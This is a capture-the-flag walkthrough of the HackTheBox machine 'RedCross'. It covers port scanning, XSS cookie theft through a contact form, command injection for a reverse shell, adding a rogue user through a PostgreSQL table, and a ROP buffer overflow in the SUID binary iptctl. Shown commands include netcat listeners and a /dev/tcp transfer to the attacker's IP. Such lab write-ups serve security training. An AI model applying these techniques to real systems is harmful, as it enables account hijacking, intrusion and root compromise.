RedCross

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.113 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80,443 10.10.10.113 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
As we can see in the nmap report, the domain name of the website is intra.redcross.htb, let's add it to the /etc/hosts file.
nano /etc/hosts
The website shows a login page for employees and providers.

I found another subdomain name with gobuster called admin.redcross.htb.
gobuster vhost -u https://redcross.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 -k -r
vhostenumerates directories or files.-uthe target URL.-wpath to the wordlist.-tnumber of current threads, in this case 200 threads.-kskips TLS certificate verification.-rfollow redirects.
The admin.redcross.htb subdomain shows another login page for authorized personal.

Exploitation
In the Employees & providers portal, there is a message saying that to request credentials I have to contact the staff with a contact form.

Some user will see anything that we submit with the contact form. We could try to send some JavaScript code which will steal their session cookie, and send it to us, so we can become that user. Let's set a simple HTTP server with python.
python -m http.server 80
Now, send the following message with the contact form.

If we send the message, we'll get an error, and we won't be able to send the message. This might be happening because the message field is being validated. But we could try to send the code in another field, such us the contact phone of email field.

This field doesn't validate the user input, and we are able to get the cookies of some user.
If I change my cookies with the ones that we got, and refresh the page, we'll see that we're logged as the admin user.

Same thing happens if we change the cookies in the admin.redcross.htb website.

The Network Access tool allow us to add an IP address to a whitelist.

We'll see the IP address in the whitelist.

We could try to exploit a command injection vulnerability. First, set a netcat listener on port 4444.
nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Let's click on the deny button, and intercept the request with BurpSuite. We can modify the ip parameter, and change it to a command which will send us a reverse shell as the www-data user.

Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
If we search for the word host in all the files of the current directory, we'll see that there are some connections to a database with some credentials.
grep -r host
Let's connect to the database.
psql -h 127.0.0.1 -U unixusrmgr unix
-hhost.-Uusername.
There is one table called passwd_table.
unix=> \d
There is only one entry for the tricia username.
unix=> select * from passwd_table;
It looks like we can make new users by inserting them in this table. Let's create a new user with the same UID as the user which have the flag, which is penelope, and her home directory. First, let's create a password hash.
openssl passwd -1 alfa8sa
Now, insert into the passwd_table the new user.
unix=> insert into passwd_table (username, passwd, gid, homedir) values ('alfa8sa', '$1$X7Ho6sSr$i.0ftPGpGPxH5bwn9s8OE1', 1000, '/home/penelope');
Now, we could log is as the alfa8sa user into the machine via SSH, and we'll be able to grab the user flag.
ssh alfa8sa@10.10.10.113
Buffer Overflow
If we search for SUID binaries in the system, we'll see one called iptctl.
find / -perm /4000 2>/dev/null
We can find its source code in the /var/jail/home/public/src/ directory.
find / -name iptctl 2>/dev/null
The iptctl.c code looks like this.
cat /var/jail/home/public/src/iptctl.c
The iptctl binary asks for a mode, and an IP address.
./iptctl
Let's allow the 1.1.1.1 IP address.
./iptctl allow 1.1.1.1
But, it seems like the IP address argument is vulnerable to buffer overflow.
./iptctl allow $(python -c "print('A'*500)")
As we can see in the source code, there is an interactive mode available, which runs the interactive function.
Let's transfer the binary to our local machine. Set a netcat listener on port 5555 pointing to iptctl.
nc -lvnp 5555 > iptctl
Then, transfer the binary from the victim machine.
cat < /opt/iptctl/iptctl > /dev/tcp/10.10.14.8/5555
We are ready to exploit the buffer overflow. Let's run the binary with gdb.
gdb ./iptctl
Let's run the binary with the -i argument, and add a bunch of A characters next to allow, so we can crash the program.
gef➤ r -i
Action(allow|restrict|show): allowAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
IP address: 1.1.1.1
We have to find the offset, or number or A characters, to reach the RSP register. To do it, let's create a pattern.
gef➤ pattern create 50
Now, run the program again, and put the pattern with the allow argument.
gef➤ r -i
Action(allow|restrict|show): allowaaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
IP address: 1.1.1.1
Now, we can see that the offset is 29 bytes.
gef➤ pattern offset $rsp
Let's print with python a string of 29 A chars, 8 B chars, and 8 C chars.
python -c "print('A'*29+'B'*8+'C'*8)"
Now, we'll see how the RSP register is full of B and C characters.
gef➤ r -i
Action(allow|restrict|show): allowAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
IP address: 1.1.1.1
If we check the memory protections of the binary, we'll see that only NX is enabled.
gef➤ checksec
But, as we can see in the victim machine, ASLR is also enabled, which means that the memory address of the binary is dynamic.
cat /proc/sys/kernel/randomize_va_space
As the victim machine is a x64 bytes architecture system, we won't be able to bruteforce the memory address of the binary.
uname -a
If we take a look back at the source code of the binary, we'll see the functions setuid(0), and execvp(args[0],args).
We could give sh as an argument of the execvp function, and a 0 as an argument of the setuid function. This way we could spawn a shell as root. The payload that we have to inject in the RSP register will have to call the setuid function with 0 as an argument, and the execvp with sh and 0 as arguments. In order to use arguments in the functions we said, we'll have to store those arguments in the following registries, ordered from first to last, before using them.
To run the setuid(0) function, we'll have to find the gadgets pop rdi to load the argument 0 into the RDI registry, and then call the setuid function with its memory address. First, let's find the pop rdi gadget in the binary with ropper.
ropper --file iptctl --search "pop rdi"
Now, let's find the setuid memory address.
objdump -D iptctl | grep setuid
Then, we'll have to run the execvp('sh',0) function. The method is the same, but now we need to use two arguments, we'll have to load the first argument, which is sh, into the RDI register, and the second one, which is 0, into the RSI register. As we already have the address of pop rdi, let's search the address of sh. To do it, run the program with gef, and execute the following command.
gef➤ grep sh
Now, we'll have to load a 0 into RSI address. The same way we did before, search for pop rsi.
ropper --file iptctl --search "pop rsi"
Note that the address will run rsi, and then r15. This won't be a problem because we could load another 0 into r15. Finally, we have to find the memory address of the execvp function.
objdump -D iptctl | grep execvp
Now, we have all we need to build the payload that will spawn a shell as root. It will look like this.
The idea is to run the program, and expose it through the port 1234. This way, we can connect to the machine on port 1234, send the payload, and get the shell as root. To be able to expose ports, make sure to add our local IP address to the whitelist.
./iptctl allow 10.10.14.8
Now, expose the program in interactive mode through port 1234 with socat.
socat TCP-LISTEN:1234 EXEC:'/opt/iptctl/iptctl -i'
The following script, will send the payload to the machine to port 1234, and will give us a reverse shell.
Finally, if we run the script, we will get a shell as root, and then all we have to do is reap the harvest and take the root flag.
python bof.py
Last updated
Was this helpful?